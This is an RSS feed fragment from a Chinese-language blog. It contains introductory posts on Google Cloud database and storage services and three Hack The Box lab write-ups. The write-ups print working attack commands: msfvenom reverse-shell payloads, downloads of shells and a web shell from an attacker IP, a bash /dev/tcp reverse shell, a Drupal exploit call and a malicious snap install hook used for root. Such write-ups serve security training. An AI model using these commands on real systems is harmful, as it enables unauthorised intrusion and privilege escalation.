&lt;p&gt;很多情況下，我們新增的資料不見得每次都會把每個 Column 給填滿，這種情形下就會成為稀疏矩陣的感覺，造成資源的浪費。而 NoSQL 正是基於這種想法，提出的非結構化資料儲存系統。&lt;/p&gt;
&lt;h2 id="適用環境"&gt;適用環境&lt;/h2&gt;
&lt;p&gt;Cloud Bigtable 擅長處理批次的 MapReduce 等操作，以及 Stream 的處理/分析，以及機器學習等。在實際的場合底下，Bigtable 適合以下幾種資料&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;銷售資料例如購買紀錄&lt;/li&gt;
&lt;li&gt;使用者偏好金融資料- 交易紀錄&lt;/li&gt;
&lt;li&gt;股票價格&lt;/li&gt;
&lt;li&gt;貨幣匯率物聯網資料- 各種感測器資料&lt;/li&gt;
&lt;li&gt;記錄檔案&lt;/li&gt;
&lt;li&gt;分析報告時間序列資料- 例如 CPU 以及 Memory 的使用率等&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bigtable-的最大特色"&gt;Bigtable 的最大特色&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;特色大 ： 資料可以支援超過 1 TB&lt;/li&gt;
&lt;li&gt;快 ： 高吞吐量&lt;/li&gt;
&lt;li&gt;NoSQL ： 非關聯資料庫適用資料- 時間序列&lt;/li&gt;
&lt;li&gt;大數據&lt;/li&gt;
&lt;li&gt;機器學習&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>[Day10] Cloud Spanner (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/25/day10-cloud-spanner/</link><pubDate>Sat, 25 Sep 2021 18:57:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/25/day10-cloud-spanner/</guid><description>&lt;p&gt;Spanner 🔧，跟 Cloud SQL 一樣，是一種 RDBMS (Relational Database Management System)，它同時包含了關聯式資料庫與非關聯式資料庫的優點，支援 SQL 的語法，&lt;del&gt;然後很貴&lt;/del&gt;。&lt;/p&gt;
&lt;p&gt;Spanner 最大的優點是它可以達成 Horizontal&lt;br&gt;
Scalable 的資料結構，它可以處理 PB 等級的資料，而且有極高的可靠性(SLA 高達 99.999%)，適合使用於金融與庫存等應用上。&lt;/p&gt;
&lt;p&gt;Spanner 是 Google 開發的酷酷資料酷系統，他們也為此發了紙 &lt;a href="https://static.googleusercontent.com/media/research.google.com/zh-TW//archive/spanner-osdi2012.pdf"&gt;Spanner: Google’s Globally-Distributed Database&lt;/a&gt;，&lt;del&gt;但我是沒有很想看啦QQ。&lt;/del&gt;&lt;/p&gt;
&lt;h2 id="cloud-spanner-architecture"&gt;Cloud Spanner Architecture&lt;/h2&gt;
&lt;p&gt;Cloud Spanner 會同時將資料放在多個 Zone 中，這些 Zone 可以跨 Region，使用者可以自己設定，想要將資料放在哪個 Region，透過這種概念達到極高的可用性。&lt;/p&gt;
&lt;p&gt;多個 Region 間的資料，會透過 Google 的光纜進行同步，並且透過原子鐘來校對時間，確保其原子性。&lt;/p&gt;
&lt;h2 id="spanner-與-rdbms--n-rdbms-比較"&gt;Spanner 與 RDBMS / N-RDBMS 比較&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f5B9xBn.png"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;圖片來源：&lt;a href="https://cloud.google.com/blog/products/gcp/introducing-cloud-spanner-a-global-database-service-for-mission-critical-applications"&gt;Google Cloud&lt;/a&gt;&lt;/p&gt;</description></item><item><title>[Day9] Cloud SQL (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/24/day9-cloud-sql/</link><pubDate>Fri, 24 Sep 2021 18:57:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/24/day9-cloud-sql/</guid><description>&lt;p&gt;昨天介紹完了儲存各種檔案可以使用的 Cloud Storage，今天要來介紹另外一個很常見的儲存服務：SQL。相信有架過網站的人都知道 SQL 的重要性， SQL 屬於一種 RDBMS (Relational Database Management System)，關聯性資料庫系統，相較於非 RDBMS 的資料庫系統，我們通常會稱為 NoSQL。&lt;/p&gt;
&lt;p&gt;在通常的情況下，如果我們需要架設一個 SQL 的 Server ， 可能會先準備一台伺服器，安裝完作業系統後，再使用 Docker；或直接安裝 SQL 的資料庫程式，建立一個資料庫的伺服器。&lt;/p&gt;
&lt;p&gt;如果透過了 Cloud SQL，我們可以將這一系列的事情全部交給 Google，僅需要一鍵開啟一台 Cloud SQL 的機器即可。&lt;/p&gt;
&lt;p&gt;Cloud SQL 目前支援 MySQL 、 PostgreSQL 與 Microsoft SQL Server 的資料庫服務。&lt;/p&gt;
&lt;p&gt;Cloud SQL 還有以下幾種優點：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Automatic update如果各大 SQL 服務出現了重大的漏洞與更新，Google 可以自動化的將服務更新。Automatic replication- Cloud SQL 支援自動複製，可以直接複製一台當前的 SQL 機器，提供備份或測試等多種使用情境。Managed backups- Cloud SQL 可以負責自動化的管理備份，每個 instance 最多可以管理 7 個備份。Scaling- 可以讓擴展機器，將目前的機器硬體規格升級成更高級&lt;/li&gt;
&lt;li&gt;需要重新開機&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sql-性能"&gt;SQL 性能&lt;/h2&gt;
&lt;p&gt;透過 Cloud SQL 選擇的 instance 會對 SQL 的效能進行最佳化，最高可以使用：&lt;/p&gt;</description></item><item><title>[Day8] Storage (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/23/day8-storage/</link><pubDate>Thu, 23 Sep 2021 18:56:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/23/day8-storage/</guid><description>&lt;p&gt;介紹完了虛擬機器與網路後，接下來要跟各位介紹的是關於雲端的儲存方案。Google Cloud 有許多雲端儲存的服務可以供大家選擇，例如 Cloud Storage 、 Cloud SQL 、 Cloud Spanner 、 Cloud Datastore 與 Cloud Bigtable。今天會與各位介紹最直觀，最直覺的 Cloud Storage。&lt;/p&gt;
&lt;h2 id="簡介"&gt;簡介&lt;/h2&gt;
&lt;p&gt;Cloud Storage 主要可以用來儲存各種 Binary 的檔案，例如圖片檔、壓縮檔等。根據&lt;a href="https://www.bnext.com.tw/article/63705/apples-spending-on-google-cloud-storage-on-track-to-soar-50-this-year"&gt;新聞報導&lt;/a&gt;，包含了蘋果、抖音等各大公司，背後都有使用到 Google Cloud 的 Storage 服務，蘋果更是使用到了 8 Exabytes 之多。如果沒有意外的話，Google Drive 背後就是運行 Cloud Storage 的服務。&lt;/p&gt;
&lt;p&gt;Cloud Storage 預設會將所有資料進行加密，並使用 HTTPS / TLS 進行傳輸。可以取得 HTTPS 的直接連結，作為圖床使用。&lt;/p&gt;
&lt;p&gt;Cloud Storage 不能算是一種檔案系統，它是透過 Bucket 的方式儲存不可變(immutable) 的檔案；不過也有第三方的工具 Cloud Storage FUSE 可以將 Cloud Storage 掛載成虛擬的網路硬碟。&lt;/p&gt;
&lt;h2 id="class"&gt;Class&lt;/h2&gt;
&lt;p&gt;Cloud Storage 分成了 4 種不同的 Class ， 分別是 Multi-regional 、 Regional 、 Nearline 與 Coldline，他們的價格與使用情境有許多的不同。&lt;/p&gt;</description></item><item><title>Celestial (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/23/celestial-hack-the-box-writeup/</link><pubDate>Thu, 23 Sep 2021 13:51:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/23/celestial-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/130"&gt;https://app.hackthebox.eu/machines/130&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.217.35&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;nmapAutomator.sh -H 10.129.217.35 -t recon&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/41fa0-vZmyavd.png"&gt;掃路徑- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5a918-hna0l1B.png"&gt;首頁 404- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d4c7a-wAlHdP2.png"&gt;發現有餅乾- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f2c3f-ocmsv5M.png"&gt;F5 後- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/543c2-ELQeEWv.png"&gt;&lt;/li&gt;
&lt;li&gt;發現餅乾是 Serialize&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="serialize"&gt;Serialize&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;import&lt;/span&gt; base64
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;src &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;b&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;Dummy&amp;#34;,&amp;#34;country&amp;#34;:&amp;#34;Idk Probably Somewhere Dumb&amp;#34;,&amp;#34;city&amp;#34;:&amp;#34;Lametown&amp;#34;,&amp;#34;num&amp;#34;:&amp;#34;2&amp;#34;}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dst &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; base64&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;b64encode(src)&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;decode(&lt;span style="color:#f1fa8c"&gt;&amp;#39;ascii&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cookies &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;profile&amp;#39;&lt;/span&gt;: dst
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;headers &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Accept&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Accept-Language&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;en-US,en;q=0.5&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Connection&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;keep-alive&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Upgrade-Insecure-Requests&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;1&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;If-None-Match&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;W/&amp;#34;c-8lfvj2TmiRRvB7K+JPws1w9h6aY&amp;#34;&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;Cache-Control&amp;#39;&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#39;max-age=0&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;response &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; requests&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;get(&lt;span style="color:#f1fa8c"&gt;&amp;#39;http://10.129.217.35:3000/&amp;#39;&lt;/span&gt;, headers&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;headers, cookies&lt;span style="color:#ff79c6"&gt;=&lt;/span&gt;cookies)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;print&lt;/span&gt;(response&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;text)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;亂戳&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{&amp;#34;username&amp;#34;: &amp;#34;meow&amp;#34; ,&amp;#34;country&amp;#34;:&amp;#34;Idk Probably Somewhere Dumb&amp;#34;,&amp;#34;city&amp;#34;:&amp;#34;Lametown&amp;#34;,&amp;#34;num&amp;#34;: true}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;會回傳&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Hey meow true + true is 2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;戳&lt;/p&gt;</description></item><item><title>Buff (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/23/buff-hack-the-box-writeup/</link><pubDate>Thu, 23 Sep 2021 13:48:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/23/buff-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/263"&gt;https://app.hackthebox.eu/machines/263&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.2.18&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/93c09-yL8iY6M.png"&gt;掃目錄- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1a439-Y7oU0b5.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/Readme.md&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/957f0-WmFd25G.png"&gt;觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c2bd0-bzW40SX.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e9918-SLSkSSK.png"&gt;SQL 檔案&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b7805-9ocQOrC.png"&gt;找到專案 Project- &lt;a href="https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/"&gt;https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/abb57-yUMlONu.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ecbf3-LvcGkGa.png"&gt;預設密碼，登入失敗試用 Exploit- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bcf62-lpfFpjB.png"&gt;準備另外一個 reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/74c86-ffRLY8D.png"&gt;確認 Systeminfo- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6ef33-Z9CEOFQ.png"&gt;取 Userflag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4ed09-9AWNGuu.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/337ac-q33pwEX.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;確認 Defender 有開&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aab93-FFttCr6.png"&gt;產 Shell- &lt;code&gt;msfvenom -p php/reverse_php LHOST=10.10.16.35 LPORT=7877 -f raw &amp;gt; shell.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;powershell -c &amp;quot;wget http://10.10.16.35/shell.php -outFile shell.php&amp;quot;&lt;/code&gt;亂逛系統- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/652f1-fW23r7Q.png"&gt;觀察開的 Port- &lt;code&gt;netstat -ano -p tcp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4c224-Cm2GtjU.png"&gt;觀察執行中的 Process- &lt;code&gt;tasklist&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b19e1-FmIgOk3.png"&gt;發現 Downloads 資料夾有 &lt;code&gt;CloudMe_1122.exe&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6fbb2-IxszMnz.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/84b4c-yZ8055X.png"&gt;觀察開的 Port- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bad17-XuKH90a.png"&gt;&lt;/li&gt;
&lt;li&gt;8888 但他只綁 127.0.0.1&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;本地端執行&lt;code&gt;./chisel server -p 9999 --reverse&lt;/code&gt;遠端執行- &lt;code&gt;chisel.exe client 10.10.16.35:9999 R:8888:127.0.0.1:8888&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;把 Port 轉回 127.0.0.1:8888收封包- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aa711-7j9ouzo.png"&gt;使用 Exploit- &lt;a href="https://www.exploit-db.com/exploits/48389"&gt;https://www.exploit-db.com/exploits/48389&lt;/a&gt;修改 shell code- &lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=4444 EXITFUNC=thread -b &amp;quot;\x00\x0d\x0a&amp;quot; -f python&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5fcee-42hWoXQ.png"&gt;收 Reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/29252-7FdFbwy.png"&gt;取得 Root flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c4b3d-xJEo9ey.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Armageddon (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/23/armageddon-hack-the-box-writeup/</link><pubDate>Thu, 23 Sep 2021 13:37:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/23/armageddon-hack-the-box-writeup/</guid><description>&lt;ul&gt;
&lt;li&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/323"&gt;https://app.hackthebox.eu/machines/323&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;IP : 10.129.216.90&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;nmapAutomator.sh -H 10.129.216.90 -t recon80&lt;/li&gt;
&lt;li&gt;22&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/464de-GqrQKh1.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8e92a-0hkqV0B.png"&gt;&lt;/p&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/pimps/CVE-2018-7600"&gt;https://github.com/pimps/CVE-2018-7600&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="webshell"&gt;Webshell&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;python3 drupa7-CVE-2018-7600.py http://10.129.216.90/ -c &amp;quot;echo ' s.php &amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/427ed-rZeQanF.png"&gt;&lt;/li&gt;
&lt;li&gt;確認電腦裡有 curl&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b458b-v2WoRRv.png"&gt;下載 reverse shell- &lt;code&gt;curl http://10.10.16.35/s_HTB -o s&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但發現戳不回來傳 b374k- http://10.129.216.90/s.php?A=curl%20http://10.10.16.35/b374k.php%20-o%20s.php&lt;/li&gt;
&lt;li&gt;戳 reverse shell&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/32431-cSPqMF6.png"&gt;&lt;/li&gt;
&lt;li&gt;發現權限不足Try msf shell- &lt;code&gt;msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f elf &amp;gt; shell1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2d45f-WxuQxke.png"&gt;給權限- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ecf0a-b0ynbNi.png"&gt;&lt;/li&gt;
&lt;li&gt;還是沒權限試試看如果連 80 port- &lt;code&gt;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.35/80 0&amp;gt;&amp;amp;1'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;成功&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;收 Reverse shell&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c2076-dOuUK4E.png"&gt;載豌豆- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d1e29-GfPbhkr.png"&gt;發現一些密碼- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/79189-4A71xJT.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4c835-4VeSgm5.png"&gt;&lt;/li&gt;
&lt;li&gt;drupal-6.user-password-token.database.php&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a6211-6Sy0DKQ.png"&gt;spawn- &lt;code&gt;perl -e 'exec &amp;quot;/bin/bash&amp;quot;;'&lt;/code&gt;dump mysql- &lt;code&gt;mysqldump -u drupaluser -h localhost -p drupal &amp;gt; a.sql&lt;/code&gt;找到一組 hash- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8de33-TeVmSNH.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3e414-0bxuTfa.png"&gt;確認使用者名稱- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/39c82-01spQfv.png"&gt;爆破 hash- &lt;code&gt;hashcat -m 7900 hash.txt /opt/rockyou.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b4223-vApVQva.png"&gt;取得帳密- &lt;code&gt;brucetherealadmin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;booboo&lt;/code&gt;切換使用者- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/36214-BPuOHUj.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權-1"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;直接用 SSH 登入&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/74c9f-4GSbLnR.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c52b7-csR3PGi.png"&gt;&lt;/li&gt;
&lt;li&gt;發現可以用 sudo snap本地- &lt;code&gt;gem install fpm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gtfobins.github.io/gtfobins/snap/#sudo"&gt;https://gtfobins.github.io/gtfobins/snap/#sudo&lt;/a&gt;照做提權- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aa387-xcf8ksJ.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a2006-ricf9i6.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;COMMAND=&amp;#34;bash -c &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.35/80 0&amp;gt;&amp;amp;1&amp;#39;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd $(mktemp -d)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir -p meta/hooks
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;printf &amp;#39;#!/bin/sh\n%s; false&amp;#39; &amp;#34;$COMMAND&amp;#34; &amp;gt;meta/hooks/install
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod +x meta/hooks/install
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fpm -n xxxx -s dir -t snap -a all meta
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;傳上去&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c1376-EcCRXAG.png"&gt;收 Reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/80526-MJuVqnG.png"&gt;取得 Root- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c3d32-v8ym56k.png"&gt;&lt;/li&gt;
